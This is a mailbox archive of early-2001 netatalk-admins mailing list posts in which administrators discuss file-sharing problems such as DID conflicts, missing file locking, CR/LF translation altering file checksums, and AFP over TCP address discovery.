	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 08:02:54 -0500 (EST)
Received: from lx1.powervue.com (d195.powervue.com [216.175.212.195])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA25768
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 08:02:53 -0500 (EST)
Received: from 192.168.2.199 (host199.local.powervue.com [192.168.2.199])
	by lx1.powervue.com (8.9.3/8.9.3) with SMTP id IAA32469
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 08:01:03 -0500
Date: 03 Jan 2001 08:01:47 -0500
Message-ID: <>
Sender: Peter Gutowski <peterg@powervue.com>
From: Peter Gutowski <peterg@powervue.com>
Subject: Display Notification: messages
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 5
MIME-Version: 1.0
Disposition: Displayed
Reply-To: Peter Gutowski <peterg@powervue.com>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA02277

This is a confirmation that the message has been displayed to the user. Note: This is NOT a guarantee that the message has been read or understood.


From netatalk.administrators-errors@umich.edu  Wed Jan  3 17:43:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Jan 2001 17:43:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17207
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Jan 2001 17:43:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17187
	for netatalk.administrators-members@umich.edu; Wed, 3 Jan 2001 17:43:58 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA17014
	for <netatalk-admins@umich.edu>; Wed, 3 Jan 2001 17:43:54 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id JAA04192;
	Thu, 4 Jan 2001 09:43:34 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A53AC00.4506E23F@arts.usyd.edu.au>
Date: Thu, 04 Jan 2001 09:47:28 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test7 i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
CC: netatalk-admins@umich.edu
Subject: Re: DID conflict
References: <Pine.SOL.4.21.0101030914080.3826-100000@yellow.csi.cam.ac.uk>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms795B56C44B5D6E8AE07B34B2"

This is a cryptographically signed message in MIME format.

--------------ms795B56C44B5D6E8AE07B34B2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ian Hitchman wrote:
> 
> Happy new year to you all,
> 
> Could anyone tell me if the "DID conflict" was ever resolved, or how I
> might fix this on my system. I am slowly going through the mail archive at
> the moment.

 The fix is to turn off the DID Inode kludge and have broken directory
aliases.

 I wonder if the Linux FS could be hacked so that it didn't reuse Inodes
so fast, or even just cycled through the entire inode number space
available and only re-used old ones when the number space filled. That
would shunt the unique identifier back onto the FS layer, which appears
to be what Apple did with OSX Server, it only supports file sharing on
HFS volumes....

 Of course hacking the VFS would only work on Linux or some other
OpenSource OS you had the code to. Won't help on the other platforms.
 (PS I don't know this type of hack is possible let a lone desirable!)

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms795B56C44B5D6E8AE07B34B2
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMTAzMjI0NzI5WjAjBgkq
hkiG9w0BCQQxFgQUYsrj2djpNrBKmV1GqmjJQzKTdEEwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYBKK0KR+Bs7TlIlV4n2XBOmR3xDj+nsv7jpKDZaSibMcTbQ15zwF1adj8LcL2cYIKJtYm4K
UQLmm/0rYTXADKqYO8GzE0wpHD+G29Kxectb5V4bNzYyU2S3D4A1xTaiblqsSayxM4evZG3S
hzKpT4Fz9xl1FysO7veXss+Pulg7AQ==
--------------ms795B56C44B5D6E8AE07B34B2--


From netatalk.administrators-errors@umich.edu  Thu Jan  4 18:24:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA22525
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Jan 2001 18:24:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Jan 2001 18:24:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10300
	for netatalk.administrators-members@umich.edu; Thu, 4 Jan 2001 18:24:11 -0500 (EST)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [204.171.195.51])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10263
	for <netatalk-admins@umich.edu>; Thu, 4 Jan 2001 18:24:10 -0500 (EST)
Received: from melange.iu13.k12.pa.us (melange.iu13.k12.pa.us [172.19.5.125])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id NAA02839
	for <netatalk-admins@umich.edu>; Thu, 4 Jan 2001 13:24:00 -0500
Received: from myer (helo=localhost)
	by melange.iu13.k12.pa.us with local-esmtp (Exim 3.20 #1 (Debian))
	id 14EJjk-0000Ew-00
	for <netatalk-admins@umich.edu>; Thu, 04 Jan 2001 18:24:00 -0500
Date: Thu, 4 Jan 2001 18:24:00 -0500 (EST)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: netatalk-admins@umich.edu
Subject: Files not being locked when in use by more than one person
Message-ID: <Pine.LNX.4.21.0101041407500.30471-100000@melange.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: "Kevin M. Myer" <myer@melange.iu13.k12.pa.us>

Hi,

Running netatalk-1.5pre3 on RedHat Linux 6.2, x86.  We have encountered a
problem that has already caused us some problems.  User 1 opens an Excel
spreadsheet and begins to work.  User 2 opens the same Excel spreadsheet,
does work, saves works and clobbers work done by User 1.  With AppleShare
IP, if the file was already open by User 1, then User 2 received an
message that the file was in use and was read-only to them.  Is this not
implimented in someway in netatalk?  If not, it seems there is a big
potential for clobbering someone else's work and never knowing about
it.  Are there any known workarounds for this problem?

Thanks,

Kevin

-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140



From netatalk.administrators-errors@umich.edu  Fri Jan  5 05:08:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA06126
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 05:08:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA10743
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 05:07:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA10731
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 05:07:58 -0500 (EST)
Received: from ns1.ihonk.com ([216.237.145.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA10621
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 05:07:52 -0500 (EST)
Received: from [192.168.0.2] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by ns1.ihonk.com (Postfix) with SMTP
	id 0056B5F84D; Fri,  5 Jan 2001 02:07:56 -0800 (PST)
Subject: Netatalk flubs data on text files, not others
Date: Fri, 5 Jan 2001 02:08:08 -0800
x-sender: steve@mail.ihonk.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Steve Freitas <steve@ihonk.com>
To: "Netatalk" <netatalk-admins@umich.edu>,
        "Netatalk-devel" <netatalk-devel@lists.sourceforge.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Message-Id: <20010105100757.0056B5F84D@ns1.ihonk.com>
Sender: steve@mail.ihonk.com

Hi,

Sorry for the cross-post, but I don't know if this is an -admin or -devel 
question. I'm using 1.5pre3 on RH7.

Here's the short version of a confusing situation. I have a file 
("blah.iso") sitting on a Linux box running Netatalk with a Mac logged 
into it. I used the Linux box to download this file.

1. From the Linux box's CLI, it md5sums 'abcd'.
2. From the Mac, it md5sums 'wxyz'.
3. Uh oh.
4. 'mv blah.iso blah.tar.gz'
5. From the Linux box's CLI, it md5sums 'abcd'.
6. From the Mac, it md5sums 'abcd'.

What the heck? First I wondered if crlf was enabled by default, but a few 
tests disproved this. I'm using very stock config files. 
AppleVolumes.default only contains ~.

Here's another test. I took the same file, and made two copies: test1.txt 
and test2.tar.gz. On Linux they md5summed identically. I then copied both 
of them to the Mac. They md5summed differently, though test2.tar.gz's 
md5sum matched the Linux checksums.

Any ideas?

Steve Freitas

From netatalk.administrators-errors@umich.edu  Fri Jan  5 07:03:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08204
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 07:03:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00589
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 07:03:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00579
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 07:03:00 -0500 (EST)
Received: from mail0.dns-net.de (mail0.dns-net.de [212.91.230.131])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA00550
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 07:02:59 -0500 (EST)
From: seb@freitag.ch
Received: from vaio (really [62.224.209.133]) by mail0.dns-net.de
	via smail with esmtp
	id <m14EVXr-00QPB4C@mail0.dns-net.de> (Debian Smail3.2.0.111)
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 13:00:31 +0100 (CET) 
Message-ID: <002501c0770f$90aac7a0$4d01a8c0@lan.freitag.ch>
Reply-To: <seb@freitag.ch>
To: <netatalk-admins@umich.edu>
Subject: shutting down at its own?
Date: Fri, 5 Jan 2001 13:03:48 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

hi there again,

happy new ywar to you all...

something interesting again:
running netatalk pre5 on mandrake for 5 days now and today the user are^nt
able to see the server in chooser.

task on the linux box is still active.

restarting server and everything is fine...


humm?

bye,
sebastian


From netatalk.administrators-errors@umich.edu  Fri Jan  5 10:18:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13063
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 10:18:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12994
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 10:18:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12953
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 10:18:49 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12911
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 10:18:48 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f05FIhZ05552
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 15:18:43 GMT
To: netatalk-admins@umich.edu
Subject: Re: Working over TCP
References: <-1233689475peter@linuxchamps.com>
Reply-To: sinclair@dis.strath.ac.uk
Date: Fri, 05 Jan 2001 15:18:43 +0000
Message-ID: <5550.978707923@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Peter Gutowski writes:

>On Tuesday, January 2, 2001, Miguel Beccari <miguel.beccari@clikka.com> wrote:
>>netatalk is working fine......
>>
>>but not over tcp!

>The problem is probably not afpd but rather, your nameserver. The name
>as it appears in the chooser must resolve to an IP address on the local
>network. But it's still a bit more complicated than that, and I believe
>that the hostname or domain name of the linux box has some influence
>here. (You can also use the "Server IP address..." button to enter
>either the hostname or I23.456.789.012)

This seems to be a new urban myth.  My Sun appears as "Department Server"
in my Chooser.  I don't even think it would be possible to put this name
in the DNS.  But TCP connections work OK for me.

I believe the Mac gets the IP number from the server either in the original
NBP (Chooser) information, or through an initial appletalk-based meeting of
minds.  I think it's the second one...

There may well be factors concerning what IP number your server thinks
it has, compared with what the client thinks it is.  For example, if
you have more than one IP number, perhaps if the server uses the wrong
one, the client will not be able to initialise a TCP connection and
fall back to AppleTalk.  (As afp over tcp always worked for me, I not
an expert on the possible ways it can fail.)

Cheers,



Duncan Sinclair.

PS> Anyone know how the latest netatalk-1.5 pre-release is on Solaris?
    Does it compile yet?

From netatalk.administrators-errors@umich.edu  Fri Jan  5 10:25:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13186
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 10:25:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA25781
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 10:25:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA25754
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 10:25:38 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA25699
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 10:25:37 -0500 (EST)
Received: (qmail 23436 invoked by uid 500); 5 Jan 2001 15:25:35 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14933.59247.93379.717611@h0050da615e79.ne.mediaone.net>
Date: Fri, 5 Jan 2001 10:25:35 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Steve Freitas <steve@ihonk.com>
Cc: "Netatalk" <netatalk-admins@umich.edu>,
        "Netatalk-devel" <netatalk-devel@lists.sourceforge.net>
Subject: Netatalk flubs data on text files, not others
In-Reply-To: <20010105100757.0056B5F84D@ns1.ihonk.com>
References: <20010105100757.0056B5F84D@ns1.ihonk.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Steve Freitas <steve@ihonk.com>
   Date: Fri, 5 Jan 2001 02:08:08 -0800

   Hi,

   Sorry for the cross-post, but I don't know if this is an -admin or -devel 
   question. I'm using 1.5pre3 on RH7.

   Here's the short version of a confusing situation. I have a file 
   ("blah.iso") sitting on a Linux box running Netatalk with a Mac logged 
   into it. I used the Linux box to download this file.

   1. From the Linux box's CLI, it md5sums 'abcd'.
   2. From the Mac, it md5sums 'wxyz'.
   3. Uh oh.

Out of curiousity, does

	tr '\012' '\015' blah.iso | md5sum

give you 'wxyz', or something different?

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Fri Jan  5 10:37:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13487
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 10:37:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17650
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 10:37:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17636
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 10:37:34 -0500 (EST)
Received: from chalfont.mail.uk.easynet.net (chalfont.mail.uk.easynet.net [195.40.1.44])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA17569
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 10:37:32 -0500 (EST)
Received: from fe.nan.co.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by chalfont.mail.uk.easynet.net (Postfix) with ESMTP id B1C37F8F8F
	for <netatalk-admins@umich.edu>; Fri,  5 Jan 2001 15:37:28 +0000 (GMT)
Received: by mailhost.nan.co.uk (sendmail 8.11.1)
          with ESMTP id f05FbsJ32002;
          Fri, 5 Jan 2001 15:37:54 GMT
Mime-Version: 1.0
X-Sender: sw@mailhost.int.nan.co.uk
Message-Id: <p04330100b67b99673dbe@[192.168.195.62]>
In-Reply-To: <5550.978707923@dis.strath.ac.uk>
References: <-1233689475peter@linuxchamps.com>
 <5550.978707923@dis.strath.ac.uk>
X-Mailer: Eudora Pro 4.3
Organization: Network Analysis Ltd
Date: Fri, 5 Jan 2001 15:37:54 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@nan.co.uk>
Subject: Re: Working over TCP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Duncan Sinclair's message of the 05/01/2001 at 15:18 +0000,


>This seems to be a new urban myth.  My Sun appears as "Department Server"
>in my Chooser.  I don't even think it would be possible to put this name
>in the DNS.  But TCP connections work OK for me.
>
>I believe the Mac gets the IP number from the server either in the original
>NBP (Chooser) information, or through an initial appletalk-based meeting of
>minds.  I think it's the second one...
>
>There may well be factors concerning what IP number your server thinks
>it has, compared with what the client thinks it is.  For example, if
>you have more than one IP number, perhaps if the server uses the wrong
>one, the client will not be able to initialise a TCP connection and
>fall back to AppleTalk.  (As afp over tcp always worked for me, I not
>an expert on the possible ways it can fail.)

When you click on the server in the Chooser, the Mac sends an 
FPGetSrvrInfo request to the server. In the reply, the server sends 
its hostname, the versions of AFP that it supports, the UAMs that it 
supports, etc etc and right at the end, it sends the addresses it can 
be contacted on.

You can get the details from .../etc/afpd/status.c; the routine 
status_netaddress has the following comment:

     /* format:
        Address count (byte)
        len (byte = sizeof(length + address type + address)
        address type (byte, ip address = 0x01, ip + port = 0x02,
                            ddp address = 0x03, fqdn = 0x04)
        address (up to 254 bytes, ip = 4, ip + port = 6, ddp = 4)
        */

I.e., it sends a count of the different ways it can be contacted, and 
for each of them it sends the type (AppleTalk, IP addr or name) and 
then the respective address or name. It's up to the client what it 
does with this info: AppleShare tries the TCP connection(s?) first, 
then the AppleTalk ones.

If the client is given an incorrect IP addr, the attempt to talk to 
ASIP will fail. netatalk obtains this addr using the std 
gethostbyname() call, and this will use DNS, NIS or /etc/hosts 
depending on your nsswitch.conf settings. It uses not the server name 
(which can be changed in the afpd.conf file) but the hostname of the 
server (as returned by the "hostname" or "uname -n" cmd) to obtain 
its IP addr.

-- 
Sak Wathanasin
Network Analysis Limited
178 Wainbody Ave South, Coventry CV3 6BX, UK

Internet: sw@nan.co.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Fri Jan  5 16:11:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA03645
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 16:11:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11865
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 16:11:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11842
	for netatalk.administrators-members@umich.edu; Fri, 5 Jan 2001 16:11:13 -0500 (EST)
Received: from ns1.ihonk.com ([216.237.145.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA11630
	for <netatalk-admins@umich.edu>; Fri, 5 Jan 2001 16:11:07 -0500 (EST)
Received: from [192.168.0.2] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by ns1.ihonk.com (Postfix) with SMTP
	id C206B5F84D; Fri,  5 Jan 2001 13:11:05 -0800 (PST)
Subject: Re: Netatalk flubs data on text files, not others
Date: Fri, 5 Jan 2001 13:11:14 -0800
x-sender: steve@mail.ihonk.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Steve Freitas <steve@ihonk.com>
To: "Bob Rogers" <rogers-netatalk@rgrjr.dyndns.org>
Cc: "Netatalk" <netatalk-admins@umich.edu>,
        "Netatalk-devel" <netatalk-devel@lists.sourceforge.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Message-Id: <20010105211105.C206B5F84D@ns1.ihonk.com>
Sender: steve@mail.ihonk.com

>Out of curiousity, does
>
>	tr '\012' '\015' blah.iso | md5sum
>
>give you 'wxyz', or something different?

I had to do:

cat blah.iso | tr '\012' '\015' | md5sum

The result was something different entirely from 'abcd' or 'wxyz'.

But wait! I then did:

cat blah.iso | tr '\015' '\012' | md5sum

And I got 'wxyz'. So apparently Netatalk is changing my \015's to \012's 
by default. Any developer have some insight on this? Is this indeed crlf 
translation? I thought it was off -- I created a text file under Linux 
and opened it with Simpletext; I got the funny block characters instead 
of proper Mac linefeeds, so I thought crlf was off. Was I wrong?

Also, does anybody know how to turn off all text handling on Netatalk? I 
looked in all the conf files but I couldn't see what to do. Having to 
rename my files to 'blah.tar.gz' just to copy them unmolested to the Mac, 
then renaming them after they've arrived seems a silly workaround.

And what are the downsides of turning off all text handling? Are text 
files going to be become unreadable? Is my hair going to lose its natural 
curl?

Steve

From netatalk.administrators-errors@umich.edu  Fri Jan  5 18:17:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA07022
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Jan 2001 18:17:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA12488
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Jan 2001 18:17:26 -0500 (EST)
